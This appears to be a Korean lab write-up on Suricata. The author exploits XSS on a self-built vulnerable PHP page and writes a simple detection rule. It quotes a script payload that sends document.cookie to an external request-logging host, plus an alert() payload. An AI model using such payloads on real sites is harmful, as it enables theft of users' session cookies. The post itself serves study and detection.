STUDY.md
  • [Suricata] XSS 취약점 공격 탐지 rules 작성하기 /(+탐지해보기)
    2024년 07월 09일 23시 41분 17초에 업로드 된 글입니다.
    작성자: 방세연

     

    이전 게시글

    https://spacefriend.tistory.com/44

     

    [Suricata] Suricata RULES 알아보기 (IP, TCP, UDP, ICMP)

    Suricata 7.0.6USAGE: suricata [OPTIONS] [BPF FILTER] -c : path to configuration file -T : test configuration file (use with -c) -i : run in pcap live mode -F : bpf filter file -r : run in pcap file/offline mode -q ..

    spacefriend.tistory.com

    Suricata Rule을 활용해 손에 익히기 위해 간단한 탐지 실습을 진행해볼 것이다.

     

     

     

     

    본격적으로 Suricata XSS 실습을 진행하기 위해 웹서버를 구축해주었다.

    웹 서버를 통한 실습을 위해 kali linux에서는 php, apache2, mysql을 설치해주었다.

     

    그 후 xss_sec.php 에서 입력값이 내부 서버에 GET 형태로 넘어가는 코드를 작성했다.

    (xss_sec.php와 요청을 보내줄 xss_sec_server.php를 작성해주었는데 코드 내용은 참고한 출처를 밑에 적어두었다.)

    <form method="GET" action="xss_test_server.php">

    코드 일부를 확인해보면 HTML 콘텐츠를 적절히 이스케이프하지 않아 문제가 발생할 수 있다는 것을 알 수 있다.

     

     

    그밖에 xss에 대한 자세한 내용은 이전에 작성했으므로,

     

    웹 해킹 (Web Hacking). XSS 클라이언트 사이드 취약점

    Stored XSS1. 악성스크립트가 서버에 저장2. 서버의 응답에 XSS가 담겨옴​드림핵 툴즈를 이용해서 이용자의 접속 기록을 저장하는 랜덤 URL을 생성한다./flag의 입력창에 URL과 document.cookie를 입력한

    spacefriend.tistory.com

    Suricata 실습에 집중해보려고 하겠다.

     

     

     

    드림핵 툴즈를 이용해 이용자 접속 기록을 저장하는 URL을 생성하고, <script>를 통해 xss 취약점을 이용할 수 있도록 했다.

     

     

    <script>location.href = "https://pqrqogg.request.dreamhack.games?notepadText=" + document.cookie;</script>

    해당 내용을 입력받게 해준다.

    <script>를 삽입하는 형태로 xss 공격을 수행할 수 있는지 확인해보자.

     

     

    입력값이 GET 메소드로 넘어간다.

    주소를 확인해보면 '랜덤명.request.dreamhack.games/?notepadText=' 를 통해 외부로 넘어가 사용자의 쿠키가 탈취된 것을 확인할 수 있다.

     

     

     

    외부에서 접근 가능한 웹 서버를 통해 쿠키를 탈취하는 과정을 진행해주었다.

    접속 기록을 확인할 수 있다.

     

     


    혹은 위와같은 alert문을 입력해도 xss 취약점을 확인할 수 있다.
    이번엔 내부 서버 xss_sec_server.php에 입력값이 GET 형태로 넘어가는지 확인해볼 것이다.

    <script>alert("Attacked by XSS!");</script>

    먼저 해당 경고문을 입력창에 입력해준다.




    http://192.168.132.133/xss_sec_server.php?xss_test=%3Cscript%3Ealert%28%22Attacked+by+XSS%21%22%29%3B%3C%2Fscript%3E

    xss 취약점이 발생하면 공격자가 작성한 악성 스크립트가 사용자에게 노출될 수 있고, 사용자의 정보가 탈취될 수 있다.

     

     

     

    위와같은 xss 취약점을 통해 입력창에 스크립트로 입력해주었을 때

    wireshark로 GET 요청이 들어온 것을 확인할 수 있다. 이 취약점을 Suricata가 막을 수 있을까?

     

     

     

     

    Suricata Rule 적기 : /etc/suricata/rules/suri.rules 

    alert tcp any any -> any 80 (msg:"XSS GET Detect"; content:"GET /"; sid:1000002; rev:2;)

     

    사용자 탐지식은 suri.rules 파일을 새로 작성해주어 탐지식 및 경고문을 적어주면 된다.

    파일 경로는 /etc/suricata/rules 안에 있다.

     

    0-999,999 Suricata, Snort, 기타 서명 제공자가 사용하는 범위
    1,000,000 이상 사용자 정의 규칙을 위해 예약된 범위

    가 일반적이다. 따라서 sid:1000000 이후의 시드 넘버로 식을 적어주었다.

     

     

     

     탐지 로그 확인하기 : /var/log/suricata/fast.log 

    ┌──(root㉿kali)-[/etc/suricata/rules]
    └─# cat /var/log/suricata/fast.log
    07/09/2024-09:32:28.965511  [**] [1:1000002:2] XSS GET Detect [**] [Classification: (null)] [Priority: 3] {TCP} 192.168.132.1:58062 -> 192.168.132.133:80

     

    fast.log의 로그 내역을 확인해주면 XSS GET Detection 메세지가 확인되므로, 탐지가 수행되었다고 할 수 있다.

    기본적인 부분을 다뤄봤는데 Snort 룰과 호환이 된다고 하니 아직까지는 크게 다른 부분을 못느끼겠다.

     

    다음 포스팅에서는 좀 더 심화적인 실습을 해봐야할 것 같다.

     

     


    💡참고한 사이트 :

     

    https://liveyourit.tistory.com/37

    https://saynot.tistory.com/네트워크-Suricata수리카타-공부

     

    댓글